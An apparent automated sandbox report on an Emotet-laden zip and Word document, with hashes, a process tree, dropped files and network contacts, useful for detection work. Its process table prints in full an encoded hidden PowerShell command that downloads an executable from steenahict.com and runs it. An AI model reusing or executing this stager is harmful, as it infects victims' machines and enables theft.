File name: | atsgreasewatch.zip |
Full analysis: | https://app.any.run/tasks/8a73c64a-8c33-4879-9353-039eb08b8893 |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | December 02, 2019, 18:17:59 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
MIME: | application/zip |
File info: | Zip archive data, at least v2.0 to extract |
MD5: | 50298F905405A0D67BB84525B8835F8F |
SHA1: | DDB1416822734E11BA1E5DBE4C5C256FBACEECF9 |
SHA256: | F34245D82C30A1CD12C268CB59112E6BA5CC8EDB49CC286663736A3614D03188 |
SSDEEP: | 1536:V0k/Brx+U34eq51Z2gZsWu9ooxvSdw1sorQRvUEPrr:9BdT34eq5Mb9VvSdw1/2vUO |
.zip | | | ZIP compressed archive (100) |
---|
ZipFileName: | info_11_21.doc |
---|---|
ZipUncompressedSize: | 113254 |
ZipCompressedSize: | 54006 |
ZipCRC: | 0x12f155ea |
ZipModifyDate: | 2019:11:21 12:16:03 |
ZipCompression: | Deflated |
ZipBitFlag: | 0x0009 |
ZipRequiredVersion: | 20 |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
1756 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Desktop\atsgreasewatch.zip" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe |
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Version: 5.60.0 | ||||
1484 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\atsgreasewatch\info_11_21.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
2928 | powershell -w hidden -enco JABaAGIAagB1AGcAYgBoAGsAeAB3AG4AbwA9ACcARwBhAGIAegBxAG8AawBqACcAOwAkAEoAcwBwAHcAbQB5AG4AbgBwACAAPQAgACcANQAzADIAJwA7ACQAUwBjAHcAcABrAGIAbQB4AGIAeAA9ACcAVwBsAGIAawBzAHQAagB2AGUAYwAnADsAJABDAGEAdgB3AHkAdwBxAHMAYwBzAGQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEoAcwBwAHcAbQB5AG4AbgBwACsAJwAuAGUAeABlACcAOwAkAFgAbQBvAHkAbwBrAHEAbwB3AD0AJwBZAGwAdgBuAHUAYQByAG0AZABrAG8AJwA7ACQASQB6AHQAcgB2AGcAZQBqAGsAagB6AHYAZgA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAATgBFAHQALgBXAEUAQgBDAGwAaQBlAE4AdAA7ACQAQQBxAHoAdgBsAHEAcABqAHgAZgB4AD0AJwBoAHQAdABwADoALwAvAHMAdABlAGUAbgBhAGgAaQBjAHQALgBjAG8AbQAvAG8AYgBlAGQAbABlAC8AegBhAHIAcgBlAGYALgBwAGgAcAA/AGwAPQBzAG8AcABvAHAAZgA3AC4AYwBhAGIAJwAuACIAUwBwAEwAYABpAFQAIgAoACcAKgAnACkAOwAkAFAAZQByAHEAZQBxAGgAcABnAHEAcwA9ACcATgBpAHIAaABpAHAAbQB3AGMAeQB4ACcAOwBmAG8AcgBlAGEAYwBoACgAJABUAGgAbwB6AHQAdgBlAGkAegBpAG8AIABpAG4AIAAkAEEAcQB6AHYAbABxAHAAagB4AGYAeAApAHsAdAByAHkAewAkAEkAegB0AHIAdgBnAGUAagBrAGoAegB2AGYALgAiAEQATwBgAFcATgBMAE8AYQBkAGYAYABpAEwAZQAiACgAJABUAGgAbwB6AHQAdgBlAGkAegBpAG8ALAAgACQAQwBhAHYAdwB5AHcAcQBzAGMAcwBkACkAOwAkAFYAbQBwAHMAdgBqAGcAYQBqAGsAcwA9ACcARwBiAHkAcwB2AGMAcABoAG0AagAnADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEMAYQB2AHcAeQB3AHEAcwBjAHMAZAApAC4AIgBsAEUAYABOAEcAVABoACIAIAAtAGcAZQAgADMANgA0ADgAMAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAYABBAHIAdAAiACgAJABDAGEAdgB3AHkAdwBxAHMAYwBzAGQAKQA7ACQAWQBzAHEAbgBmAHQAawBxAD0AJwBBAG8AdgBpAHIAbQBlAHgAeQBoAHkAagAnADsAYgByAGUAYQBrADsAJABKAGQAdgBxAGcAaQBkAHUAdwB0AGwAbgBrAD0AJwBZAHAAdABrAGgAeQBlAGEAdAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABIAGwAdwBvAGQAbwBpAHMAZABjAHkAdQA9ACcAUgBnAHIAYgB4AGQAYwBqAHQAYQAnAA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
1484 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRAF41.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2928 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\AQ9Y223L1XWWJLA3GYOU.temp | — | |
MD5:— | SHA256:— | |||
1484 | WINWORD.EXE | C:\Users\admin\Desktop\atsgreasewatch\~$fo_11_21.doc | pgc | |
MD5:527EF2658E1AEF9FC8078834863AD66C | SHA256:1AC332DAA23D8F0C85591F27479D38AFB497242C48EF4797935E858F37435FB4 | |||
1756 | WinRAR.exe | C:\Users\admin\Desktop\atsgreasewatch\info_11_21.doc | document | |
MD5:DC6DCA5C2F0F9FD09097D4CB83C8E053 | SHA256:3DF11541EF8731147BD62C50D7B0BEC24EFF33520AB7721F75FB833FF2A5F16A | |||
1484 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\AF8ED3AC.wmf | wmf | |
MD5:6CD015ADF64E144F5840A931FD9A06E8 | SHA256:0556CE4F765828D683CC49F9C0DD1F291BDD4C31322AA3EED145FAFC899DB7E2 | |||
1484 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:2C04D9A3425F261BB4C738467A3701BE | SHA256:13955B43FDE8B6212485A61E775A2E1260C58E0A4739514891C14902EC23EF55 | |||
1484 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | text | |
MD5:EFED22A1C5E23F818DAAF40EAE835EA8 | SHA256:011F2AAD4B1C7B6A0F0B0DC7716B727A04C8E05AEEF61FCC501DA38D0BAFD50F | |||
1484 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\691DD56E.wmf | wmf | |
MD5:D124A69554C578CBDEAF8EBEB948423A | SHA256:DA26DBE20909805DBA06EE8FA72F0E05EF3768BE79BC1610F4FC0DBD3CA7BF81 | |||
2928 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF3ac152.TMP | binary | |
MD5:35375F3D71AE42AA9777154D256B33BF | SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF | |||
1484 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7E6347BD.wmf | wmf | |
MD5:67D744F2BCA861D5362A528E35ABFC24 | SHA256:9FB61001003E23CC68D2E32F0A7C59686581420B5C0CAEF41587DB71C74CF050 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2928 | powershell.exe | GET | — | 93.179.69.143:80 | http://steenahict.com/obedle/zarref.php?l=sopopf7.cab | RU | — | — | suspicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2928 | powershell.exe | 93.179.69.143:80 | steenahict.com | Fop Iliushenko Volodymyr Olexandrovuch | RU | suspicious |
Domain | IP | Reputation |
---|---|---|
steenahict.com |
| suspicious |